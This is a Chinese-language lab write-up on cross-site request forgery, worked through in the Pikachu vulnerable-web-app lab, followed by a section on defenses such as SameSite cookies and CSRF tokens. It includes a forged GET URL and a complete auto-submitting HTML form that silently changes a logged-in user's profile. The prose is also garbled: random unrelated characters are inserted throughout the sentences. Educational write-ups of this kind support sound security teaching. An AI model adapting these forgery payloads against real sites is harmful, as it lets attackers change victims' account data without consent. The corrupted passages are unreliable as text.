CSRF
Cross-site request forgery簡(jiǎn)稱為“CSRF”阳似，跨站請(qǐng)求偽造。 在CSRF的攻擊場(chǎng)景中攻擊者會(huì)偽造一個(gè)請(qǐng)求 （這個(gè)請(qǐng)求一般是一個(gè)鏈接） 然后欺騙目標(biāo)用戶進(jìn)行攻擊终抽，用戶一旦點(diǎn)擊了這個(gè)請(qǐng)求告匠，整個(gè)攻擊也就完成了。
用戶是網(wǎng)站A的注冊(cè)用戶年柠，且登錄進(jìn)去，于是網(wǎng)站A就給用戶下發(fā)cookie褪迟。
從上圖可以看出彪杉，要完成一次CSRF攻擊，受害者必須滿足兩個(gè)必要的條件：
（1）登錄受信任網(wǎng)站A牵咙，并在本地生成Cookie派近。（如果用戶沒(méi)有登錄網(wǎng)站A，那么網(wǎng)站B在誘導(dǎo)的時(shí)候洁桌，請(qǐng)求網(wǎng)站A的api接口時(shí)渴丸，會(huì)提示你登錄）
（2）在不登出A的情況下，訪問(wèn)危險(xiǎn)網(wǎng)站B（其實(shí)是利用了網(wǎng)站A的漏洞）另凌。
溫馨提示一下谱轨，cookie保證了用戶可以處于登錄狀態(tài)，但網(wǎng)站B其實(shí)拿不到 cookie吠谢。
CSRF與XSS的區(qū)別：
CSRF攻擊者并沒(méi)有拿到用戶的權(quán)限土童，是借用戶的權(quán)限完成攻擊；（騙）
XSS可以通過(guò)盜取cookie來(lái)獲取用戶權(quán)限來(lái)完成破壞工坊。（偷）
（CSRF：需要用戶先登錄網(wǎng)站A献汗，獲取 cookie。XSS：不需要登錄王污。）
CSRF是利用網(wǎng)站A本身的漏洞罢吃，去請(qǐng)求網(wǎng)站A的api。
XSS是向網(wǎng)站 A 注入 JS代碼昭齐，然后執(zhí)行 JS 里的代碼尿招，篡改網(wǎng)站A的內(nèi)容。
CSRF（GET）
一個(gè)登錄框登錄后顯示用戶的個(gè)人信息（lucy阱驾，123456）
點(diǎn)擊修改個(gè)人信息就谜，提交時(shí)抓包看一下流量，修改后的參數(shù)直接在URL請(qǐng)求中
所以如果被攻擊者此時(shí)登錄狀態(tài)或cookie/session沒(méi)有過(guò)期里覆，訪問(wèn)攻擊者構(gòu)造的url就可以任意修改信息丧荐。
localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=123&phonenum=123&add=123&email=123&submit=submit
可以看到，電話號(hào)碼和住址都被修改
CSRF（POST）
也是先登錄租谈，這是必要的篮奄，然后抓取提交修改的流量捆愁，是POST方式。
可以自己建一個(gè)表單窟却，讓被攻擊者點(diǎn)惡意站點(diǎn)表單的URL昼丑。通過(guò)表單的URL去向存在CSRF漏洞的頁(yè)面去提交POST請(qǐng)求。
<!DOCTYPE html>
<html>
<head lang="en">
<title>csrf_post</title>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form action="http://localhost/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="text" name="sex" value="456"><br>
<input type="hidden" name="phonenum" value="456"><br>
<input type="hidden" name="add" value="456"><br>
<input type="hidden" name="email" value="456"><br>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
修改成功
CSRF（token）
同樣的過(guò)程夸赫，get方式修改信息菩帝，但是還帶了一個(gè)token參數(shù)。
由于這個(gè)token是隨機(jī)不可預(yù)測(cè)的并且是隱藏看不見(jiàn)的茬腿，并且每次刷新呼奢，后臺(tái)發(fā)送過(guò)來(lái)的token都不一樣，起到了防止偽造的作用切平。具體過(guò)程是：
用戶訪問(wèn)某個(gè)表單頁(yè)面握础。
服務(wù)端生成一個(gè)Token，放在用戶的Session中悴品，或者瀏覽器的Cookie中禀综。【這里已經(jīng)不考慮XSS攻擊】
在頁(yè)面表單附帶上Token參數(shù)苔严。
用戶提交請(qǐng)求后定枷， 服務(wù)端驗(yàn)證表單中的Token是否與用戶Session（或Cookies）中的Token一致，一致為合法請(qǐng)求届氢，不是則非法請(qǐng)求欠窒。
CSRF的防御
CSRF的兩個(gè)特點(diǎn)：
- CSRF（通常）發(fā)生在第三方域名。
- CSRF攻擊者不能獲取到Cookie等信息退子，只是使用岖妄。
針對(duì)這兩點(diǎn)，我們可以專門制定防護(hù)策略絮供，如下：
-
阻止不明外域的訪問(wèn)
-
同源檢測(cè)：Origin Header和Referer Header
Host：描述請(qǐng)求將被發(fā)送的目的地衣吠，包括茶敏，且僅僅包括域名和端口號(hào)壤靶。在任何類型請(qǐng)求中，request都會(huì)包含此header信息惊搏。
Origin：用來(lái)說(shuō)明請(qǐng)求從哪里發(fā)起的贮乳，包括，且僅僅包括協(xié)議和域名恬惯。這個(gè)參數(shù)一般只存在于CORS跨域請(qǐng)求中向拆，可以看到response有對(duì)應(yīng)的header：Access-Control-Allow-Origin。
Referer：告知服務(wù)器請(qǐng)求的原始資源的URI酪耳，其用于所有類型的請(qǐng)求浓恳，并且包括：協(xié)議+域名+查詢參數(shù)（注意刹缝，不包含錨點(diǎn)信息）。因?yàn)樵嫉腢RI中的查詢參數(shù)可能包含ID或密碼等敏感信息颈将，如果寫(xiě)入referer梢夯，則可能導(dǎo)致信息泄露。
-
Samesite Cookie
Set-Cookie響應(yīng)頭新增Samesite屬性晴圾，它用來(lái)標(biāo)明這個(gè) Cookie是個(gè)“同站 Cookie”颂砸，同站Cookie只能作為第一方Cookie，不能作為第三方Cookie死姚，Samesite 有兩個(gè)屬性值人乓，分別是 Strict 和 Lax。
Strict：表明這個(gè) Cookie 在任何情況下都不可能作為第三方 Cookie都毒，絕無(wú)例外色罚。
Lax：比 Strict 放寬了點(diǎn)限制，假如這個(gè)請(qǐng)求是這種請(qǐng)求（改變了當(dāng)前頁(yè)面或者打開(kāi)了新頁(yè)面）且同時(shí)是個(gè)GET請(qǐng)求账劲，則這個(gè)Cookie可以作為第三方Cookie保屯。
-
-
提交時(shí)要求附加本域才能獲取的信息
-
CSRF Token
1）服務(wù)器驗(yàn)證身份后，將CSRF Token返回給前端
2）用戶頁(yè)面提交的請(qǐng)求攜帶這個(gè)Token
3）服務(wù)器驗(yàn)證Token是否正確
但是此方法的實(shí)現(xiàn)比較復(fù)雜涤垫，需要給每一個(gè)頁(yè)面都寫(xiě)入Token（前端無(wú)法使用純靜態(tài)頁(yè)面）姑尺，每一個(gè)Form及Ajax請(qǐng)求都攜帶這個(gè)Token，后端對(duì)每一個(gè)接口都進(jìn)行校驗(yàn)蝠猬，并保證頁(yè)面Token及請(qǐng)求Token一致切蟋。這就使得這個(gè)防護(hù)策略不能在通用的攔截上統(tǒng)一攔截處理，而需要每一個(gè)頁(yè)面和接口都添加對(duì)應(yīng)的輸出和校驗(yàn)榆芦。這種方法工作量巨大柄粹，且有可能遺漏。
-
雙重Cookie驗(yàn)證
利用CSRF攻擊不能獲取到用戶Cookie的特點(diǎn)匆绣，我們可以要求Ajax和表單請(qǐng)求攜帶一個(gè)Cookie中的值驻右。也就是說(shuō)在請(qǐng)求接口時(shí)，除了常規(guī)帶上 cookie 中的用戶憑證信息崎淳，如 session_id 外堪夭，還把 cookie 中的用戶憑證信息讀出來(lái)附在接口請(qǐng)求參數(shù)里。
1）在用戶訪問(wèn)網(wǎng)站頁(yè)面時(shí)拣凹，向請(qǐng)求域名注入一個(gè)Cookie森爽，內(nèi)容為隨機(jī)字符串（例如
csrfcookie=v8g9e4ksfhw）。2）在前端向后端發(fā)起請(qǐng)求時(shí)嚣镜，取出Cookie爬迟，并添加到URL的參數(shù)中（接上例
POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw）。3）后端接口驗(yàn)證Cookie中的字段與URL參數(shù)中的字段是否一致菊匿，不一致則拒絕付呕。
-
